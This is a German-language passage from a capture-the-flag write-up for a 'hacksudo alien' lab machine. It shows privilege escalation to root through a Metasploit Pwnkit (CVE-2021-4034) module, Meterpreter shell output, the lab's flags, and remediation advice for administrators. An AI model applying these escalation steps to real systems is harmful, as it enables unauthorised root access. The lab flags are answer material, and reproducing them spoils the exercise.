Analyse: Das Pwnkit-Modul wird ausgewählt, auf Session 2 (die `www-data`-Meterpreter-Sitzung) gesetzt und ausgeführt. Ein neuer Listener wird gestartet (hier wieder Port 4444). Der Exploit prüft die Anfälligkeit, lädt Payloads hoch und führt den Angriff aus.

Bewertung: Erfolg! Der Exploit bestätigt die Anfälligkeit und öffnet eine neue Meterpreter-Sitzung (Session 3).

Empfehlung (Pentester): Wechseln Sie zur neuen Sitzung (Session 3) und überprüfen Sie die Rechte.
Empfehlung (Admin):** Dringend Polkit patchen (CVE-2021-4034).

Schritt 2: Bestätigung der Root-Rechte und Flaggen-Sammlung

meterpreter > getuid
Server username: root
meterpreter > shell
Process 1617 created.
Channel 1 created.
                     
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# whoami
root
# cd ~
# ls
root.txt
# cat root.txt
 _   _            _                  _
| | | | __ _  ___| | _____ _   _  __| | ___
| |_| |/ _` |/ __| |/ / __| | | |/ _` |/ _ \
|  _  | (_| | (__|   <\__ \ |_| | (_| | (_) |
|_| |_|\__,_|\___|_|\_\___/\__,_|\__,_|\___/

    _    _ _            ____   __
   / \  | (_) ___ _ __ | ___| / /_
  / _ \ | | |/ _ \ '_ \|___ \| '_ \
 / ___ \| | |  __/ | | |___) | (_) |
/_/   \_\_|_|\___|_| |_|____/ \___/

congratulations you rooted hacksudo alien56...!!!
flag={d045e6f9feb79e94442213f9d008ac48}
                     

Analyse: In der neuen Meterpreter-Sitzung (Session 3) wird `getuid` ausgeführt, was "root" zurückgibt. Eine System-Shell wird geöffnet, und `id` sowie `whoami` bestätigen die Root-Rechte. Anschließend wird ins Root-Home-Verzeichnis gewechselt und die Datei `root.txt` ausgelesen.

Bewertung: **Privilegienerweiterung erfolgreich!** Wir haben volle Root-Rechte über den Pwnkit-Exploit erlangt. Die Root-Flagge wurde gefunden.

Empfehlung (Pentester): Suchen Sie die User-Flagge (falls nicht bereits bekannt). Dokumentieren Sie den Angriffspfad.
Empfehlung (Admin):** Siehe vorherige Empfehlungen.

Risikobewertung:** Die Kombination aus einer SQL-Injection oder Fehlkonfiguration, die das Schreiben einer Webshell ermöglichte, und einer ungepatchten Pwnkit-Schwachstelle (CVE-2021-4034) stellt ein kritisches Risiko dar. Dies erlaubte die Eskalation von keiner Authentifizierung zu vollen Root-Rechten.

Empfehlungen (Zusammenfassung):**

  • **Dringend:** Beheben Sie die Ursache für die Möglichkeit, die Webshell zu schreiben (SQLi? Unsicherer Upload? FILE-Privileg?).
  • **Dringend:** Patchen Sie Polkit (CVE-2021-4034).
  • Aktualisieren Sie alle Dienste (Apache, OpenSSH, PHP, WordPress, phpMyAdmin) und das Betriebssystem.
  • Sichern Sie phpMyAdmin (Zugriff, Credentials, Version).
  • Überprüfen Sie Datenbankberechtigungen (insbesondere FILE).
  • Konfigurieren Sie Dateiuploads sicher.
  • Überwachen Sie ausgehende Verbindungen.
  • Überprüfen und minimieren Sie SUID-Binaries.

Flags

cat /path/to/user.txt ???
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/root.txt
flag={d045e6f9feb79e94442213f9d008ac48}